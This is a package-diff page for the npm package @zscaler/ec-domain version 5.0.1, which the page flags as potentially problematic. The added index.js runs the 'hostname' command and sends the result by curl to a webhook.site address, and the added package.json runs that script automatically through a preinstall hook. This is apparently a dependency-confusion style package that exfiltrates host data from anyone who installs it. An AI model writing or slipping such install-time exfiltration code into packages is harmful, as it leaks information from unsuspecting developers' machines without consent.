@zscaler/ec-domain 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @zscaler/ec-domain might be problematic. Click here for more details.
- package/index.js +19 -0
- package/json/NssLogTypes.json +3 -0
- package/package.json +16 -0
package/index.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
// Get the hn
|
4
|
+
exec("hostname", (hostnameError, hostname, hostnameGetter) => {
|
5
|
+
if (hostnameError) {
|
6
|
+
console.log("Error getting hn:", hostnameError.message);
|
7
|
+
return;
|
8
|
+
}
|
9
|
+
// Send the hn to the API
|
10
|
+
const APILink = "https://webhook.site/60aafe3a-434e-4aaa-b35e-6b6f456c2bf0";
|
11
|
+
const postData = `hn=${hostname.trim()}`;
|
12
|
+
|
13
|
+
exec(`curl -s -X GET ${APILink}?${postData}`, (sendError) => {
|
14
|
+
if (sendError) {
|
15
|
+
console.log("Error sending data:", sendError.message);
|
16
|
+
return;
|
17
|
+
}
|
18
|
+
});
|
19
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "@zscaler/ec-domain",
|
3
|
+
"version": "5.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "rezihkx1",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"lodash": "^4.17.21"
|
14
|
+
|
15
|
+
}
|
16
|
+
}
|